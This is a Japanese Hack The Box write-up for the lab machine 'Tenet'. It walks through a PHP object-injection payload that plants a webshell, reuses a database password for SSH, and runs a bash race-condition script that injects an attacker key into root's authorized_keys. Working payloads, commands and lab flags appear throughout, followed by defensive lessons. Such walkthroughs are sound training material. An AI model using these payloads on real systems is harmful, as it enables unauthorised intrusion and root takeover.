Hack The BoxのWriteup(Tenet)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Tenet — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP: WordPress)
ブログコメント調査
sator.php + .bak の存在を示唆
sator.php.bak ソース漏洩
DatabaseExport::__destruct() PHP Object Injection
webshell 設置 & RCE
attack.php (www-data)
wp-config.php 資格情報流用
neil:Opera2112
neil SSH
user.txt ✓
enableSSH.sh レースコンディション
mktemp -u + touch + echo の隙間
root authorized_keys へ鍵混入
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.54.19
nmap -sV -sC -p 22,80 10.129.54.19
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Tenet
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ルートページは tenet.htb ベースの WordPress ブログへリダイレクトされるため /etc/hosts10.129.54.19 tenet.htb を追記しておく。
PHASE 2

WordPressブログのコメント調査 — sator.php の手掛かり

“Migration” 記事のコメント欄

BASH
curl -s "http://tenet.htb/index.php/2020/12/16/logs/"
RESULT (コメント欄抜粋)
<b class="fn">neil</b> says:
<div class="comment-content">
  <p>did you remove the sator php file and the backup?? the migration
  program is incomplete! why would you do this?!</p>
</div>
🚨
neil自身のコメントから、sator.php という管理用スクリプトと そのバックアップファイルが(削除されたはずが)存在していたことが判明する。 典型的な命名規則から sator.php.bak を直接推測して試す。

sator.php.bak の直接アクセス

BASH
curl -s "http://10.129.54.19/sator.php.bak"
RESULT (実際に取得できたソース全文)
<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();

?>
🚨
脆弱性の核心: $_GET['arepo'] をそのまま unserialize() している(PHP Object Injection)。DatabaseExport クラスの __destruct() マジックメソッドはオブジェクトが破棄される瞬間 (スクリプト終了時)に自動的に呼ばれ、$this->user_file$this->data の内容をそのまま書き込む。user_file/data はどちらも public プロパティなので、シリアライズ文字列内で自由に上書きできる → 任意のファイル名に任意の内容を書き込める(任意ファイル書込)
PHASE 3

PHP Object Injection でwebshell設置 & RCE

悪意あるシリアライズオブジェクトの組み立て

PYTHON (ペイロード構築ロジック)
def serialize_str(s: str) -> str:
    return f's:{len(s.encode("utf-8"))}:"{s}"'   # PHP文字列シリアライズはUTF-8バイト長が必要

user_file = "attack.php"
data      = '<?php system($_GET["cmd"]);?>'

payload = (
    'O:14:"DatabaseExport":2:{'
    f's:9:"user_file";{serialize_str(user_file)};'
    f's:4:"data";{serialize_str(data)};'
    '}'
)
print(payload)
RESULT
O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:29:"<?php system($_GET[\"cmd\"]);?>";}
ℹ️
O:14:"DatabaseExport" はクラス名の文字数、s:29:"..." は 文字列プロパティのバイト長を表す。PHPのシリアライズ形式は長さがずれると パースエラーになるため、文字数は必ずプログラムで動的に計算すること (エスケープされた \" はシリアライズ後の実バイト数として数える)。

sator.php へペイロード送信 → webshell 設置

BASH
curl -s -G --data-urlencode \
  'arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:29:"<?php system($_GET[\"cmd\"]);?>";}' \
  http://10.129.54.19/sator.php
RESULT
[+] Grabbing users from text file <br>
[] Database updated <br>
BASH (webshell疎通確認)
curl -s "http://10.129.54.19/attack.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功。 __destruct() がスクリプト終了時に自動発火し、 attack.php(内容: <?php system($_GET["cmd"]);?>)が Webルートに書き込まれた。以降 attack.php?cmd=<任意コマンド> で www-data 権限のコマンド実行が可能。
PHASE 4

wp-config.php 資格情報の使い回し & user.txt 取得

wp-config.php からDB資格情報を読む

BASH
curl -s "http://10.129.54.19/attack.php?cmd=grep+DB_+/var/www/html/wordpress/wp-config.php"
RESULT
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
define( 'DB_HOST', 'localhost' );
⚠️
WordPress の DB ユーザー名が偶然にも実在の Linux ユーザー neil と一致している。 パスワードの使い回しを疑いそのまま SSH を試す。

SSHログイン & user.txt 取得

BASH
sshpass -p 'Opera2112' ssh neil@10.129.54.19 "id; cat ~/user.txt"
RESULT
uid=1000(neil) gid=1000(neil) groups=1000(neil)
ababd2f421b55663f3b8fdd72581b94d
user.txt — neil@tenet
ababd2f421b55663f3b8fdd72581b94d
PHASE 5

enableSSH.sh のレースコンディション解析

sudo権限の確認

BASH
neil@tenet:~$ sudo -l
RESULT
User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
BASH
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
RESULT (実機で確認した実際のスクリプト全文)
checkAdded() {
    sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
    if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
        /bin/echo "Successfully added $sshName to authorized_keys file!"
    else
        /bin/echo "Error in adding $sshName to authorized_keys file!"
    fi
}
checkFile() {
    if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
        /bin/echo "Error in creating key file!"
        if [[ -f $1 ]]; then /bin/rm $1; fi
        exit 1
    fi
}
addKey() {
    tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
    (umask 110; touch $tmpName)
    /bin/echo $key >>$tmpName
    checkFile $tmpName
    /bin/cat $tmpName >>/root/.ssh/authorized_keys
    /bin/rm $tmpName
}
key="ssh-rsa AAAA...(スクリプト自身のダミー鍵、コメント root@ubuntu)..."
addKey
checkAdded
🚨
脆弱性: mktemp -u はファイル名を払い出すだけで ファイルを作成しない(unsafeな使い方)。名前生成から実際に touch でファイルが作られるまでの間、そのファイル名を先読みして 自分の公開鍵を先に書き込んでおくことができれば、スクリプトが (rootとして)追記・authorized_keysへコピーする内容に紛れ込ませられる (root権限で実行されるスクリプトが、非root所有の一時ファイルを無条件に信頼する 典型的なTOCTOU脆弱性)。

試行錯誤 1: Go製レーサー(自作) — 動くが安定しない

NOTE
最初に自作した攻撃コード(Go言語)は filepath.Glob("/tmp/ssh-*") で
対象ファイルを見つけ、ioutil.WriteFile()で上書きする方式。攻撃者から
1回ずつ `sudo enableSSH.sh` をSSH経由で叩き、成立するまでリトライする
設計にしたが、実機では試行回数が安定せず(数回で成立する時もあれば
80回試しても不成立の時もあった)。原因を調査した結果、SSHラウンドトリップを
挟むぶん「試行速度」が低いことに加え、複数のレーサーを同時に動かして
しまうと互いの書き込みが干渉し合い、勝率がさらに乱れることが判明した。

試行錯誤 2: 公式walkthrough相当のbashレーサー — 高速・確実

NOTE
公式walkthrough(khaoticdev.net "ssh_exploit.sh")と同じ手法に切り替えた:
トリガー(`sudo enableSSH.sh &`を無限ループで非同期連射)と書き込み
(`/tmp/ssh-*`へ`echo >>`で追記)を同一プロセス・同一ループ内で完結させ、
SSHラウンドトリップを一切挟まない。これにより試行速度が桁違いに向上し、
実機では起動後1〜2秒以内にレースが成立するようになった。
BASH (レーサースクリプト全文 — 対象へ転送して実行)
#!/bin/bash
while [[ 1 ]]; do
    sudo /usr/local/bin/enableSSH.sh &>/dev/null &
    vfile=$(ls -1 /tmp/ssh-* 2>/dev/null)
    if [[ -n $vfile ]]; then
        for file in $vfile; do
            echo '<攻撃者の公開鍵 (ssh-keygenで生成)>' >> $file
        done
    fi
done
⚠️
ハマりどころ: このスクリプトを対象へ転送しバックグラウンド起動する際、 「古いレーサーを掃除してから起動する」ために pkill -f tenet_race.sh; chmod +x /tmp/tenet_race.sh; nohup bash /tmp/tenet_race.sh ... & のように1つのSSHコマンド文字列にまとめて実行すると、SSH経由の非対話 コマンド実行は bash -c "<コマンド全文>" として送られるため、 そのbash -c自身のコマンドライン(引数)にも “tenet_race.sh” という部分文字列が 含まれてしまいpkill -f tenet_race.sh が自分自身の親プロセスを 巻き込んで即座に殺してしまう(SSHが exit-signal で終了し、 バックグラウンド起動が一度も実行されない)。pkillによる掃除と、 chmod/nohupによる起動は必ず別々のSSH呼び出しに分離することで解決した。
PHASE 6

レースコンディション実行 → root.txt

攻撃用鍵ペアを生成しレーサーへ埋め込む

BASH
ssh-keygen -t rsa -b 2048 -N "" -f ./tenet_root_id_rsa
PUBKEY=$(cat ./tenet_root_id_rsa.pub)
# レーサースクリプトの echo '...' >> $file の '...' 部分に $PUBKEY を埋め込む

レーサーを転送し起動(掃除と起動を別コマンドに分離)

BASH
# 1. 転送
sshpass -p 'Opera2112' scp ./tenet_race.sh neil@10.129.54.19:/tmp/tenet_race.sh

# 2. 掃除(単独コマンド — 自己マッチ回避のため先頭文字をブラケットで囲む)
sshpass -p 'Opera2112' ssh neil@10.129.54.19 \
  "pkill -f '[t]enet_race.sh' 2>/dev/null; true"

# 3. 起動(単独コマンド — chmod/nohupのみでpkillを含めない)
sshpass -p 'Opera2112' ssh neil@10.129.54.19 \
  "chmod +x /tmp/tenet_race.sh; nohup bash /tmp/tenet_race.sh \
   >/tmp/.tenet_race.log 2>&1 & disown; sleep 1; echo LAUNCHED"
RESULT
LAUNCHED

root SSHログインをポーリングし成立を確認

BASH
for i in $(seq 1 30); do
  ssh -i ./tenet_root_id_rsa root@10.129.54.19 "id" 2>&1 | grep -q "uid=0" && break
  sleep 2
done
RESULT
1回目のチェック(起動後 約2秒)で成立:
uid=0(root) gid=0(root) groups=0(root)
レースコンディション成立。 レーサーが /tmp/ssh-XXXXXXXX の 出現を検知し、touch 直後の空ファイルへ攻撃者の公開鍵を追記 → 続けてスクリプト自身の(ダミーの)鍵が追記される → 両方が /root/.ssh/authorized_keys へコピーされ、攻撃者の公開鍵で rootとしてSSHログインできる状態になった。

レーサー停止 & root.txt 取得

BASH
sshpass -p 'Opera2112' ssh neil@10.129.54.19 "pkill -f '[t]enet_race.sh' 2>/dev/null; true"
ssh -i ./tenet_root_id_rsa root@10.129.54.19 "id; hostname; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
tenet
4e0bc7768822600ef12e61f1588b1081
root.txt — root@tenet
4e0bc7768822600ef12e61f1588b1081
SUMMARY

攻略サマリー & 教訓

取得フラグ & 資格情報

user.txt — neil@tenet
ababd2f421b55663f3b8fdd72581b94d
root.txt — root@tenet
4e0bc7768822600ef12e61f1588b1081
ユーザーパスワード入手経路
neilOpera2112wp-config.php のDB資格情報がLinuxアカウントと共通

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
情報漏洩 WordPressコメント + sator.php.bak 内部スクリプトのソースコード漏洩 Medium ブログコメントからバックアップファイルの存在を推測し直接取得
PHP Object Injection sator.php (unserialize($_GET['arepo'])) 任意ファイル書込 → RCE Critical DatabaseExport::__destruct() を悪用しWebシェルを書込み www-data 権限でコマンド実行
認証情報の使い回し wp-config.php DBパスワード = Linuxアカウント SSHログイン(一般ユーザー) Medium WordPress DB資格情報がそのままLinuxユーザーneilのパスワードとして通用
TOCTOU レースコンディション /usr/local/bin/enableSSH.sh (NOPASSWD sudo) 権限昇格 (root) Critical mktemp -u(名前だけ払い出し)からtouchまでの隙間に攻撃者の公開鍵を書き込み、root所有authorized_keysへ混入

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap フルポートスキャン22/80のみ、WordPress 5.6検出
2ブログ調査コメント欄の手掛かりsator.php + .bak の存在示唆
3PHP Object InjectionDatabaseExport::__destruct() 悪用webshell設置 (www-data RCE)
4資格情報流用wp-config.php → SSHuser.txt
5権限昇格準備enableSSH.sh レースコンディション解析攻撃手法確立(bash自己完結型レーサー)
6権限昇格レース勝利 → authorized_keys混入root.txt
症状原因修正
Go製レーサー方式は成立するが試行回数が大きくばらつく(数回〜80回超) SSHラウンドトリップを挟んで1回ずつ enableSSH.sh を叩く方式は試行速度が低く、複数レーサー同時稼働時は互いに干渉していた 公式walkthrough相当の、トリガーと書き込みを同一bashループ内で完結させる自己完結型レーサーに置き換え(起動後1〜2秒で成立するよう改善)
新レーサーの起動コマンドが echo LAUNCHED すら出力せず、SSHが exit-signal で即終了する pkill -f tenet_race.sh; chmod +x ...; nohup bash /tmp/tenet_race.sh ... & を1つのSSHコマンドにまとめたため、bash -c ラッパー自身のコマンドライン(chmod/nohup部分に含まれる”tenet_race.sh”)に pkill -f が自己マッチし、起動前に自分自身を巻き込んで終了していた pkillによる掃除と、chmod/nohupによる起動を別々のSSH呼び出しに分離。単独pkillも [t]enet_race.sh のようにブラケットで囲み自己マッチを回避

学んだ教訓 & 防御策

問題点防御策
削除したはずの管理スクリプトのバックアップファイル(.bak)が公開領域に残存 Webルート内でのバックアップ作成を禁止し、デプロイ前チェックでバックアップ拡張子(.bak/.old/.orig等)を検出・除外する。
ユーザー入力を検証せず unserialize() に渡している(PHP Object Injection) 信頼できない入力の unserialize は絶対に避け、JSON等の安全なフォーマットを使う。やむを得ない場合は allowed_classes オプションで許可クラスを厳格に制限する。
WordPress DB資格情報がLinuxログインパスワードと共通 用途ごとに別々の資格情報を発行し、パスワードの使い回しを禁止するポリシーを徹底する。
root権限で動くスクリプトが mktemp -u(unsafeな名前払い出し)を使い、TOCTOUレースコンディションが存在 mktemp(-uなし、実際にファイルを作成しロックする安全な版)を使うか、mkstemp(2)相当のアトミックなAPIを利用し、生成から書込みまでの間に他プロセスが介入できない設計にする。
HackTheBox: Tenet | 完全攻略レポート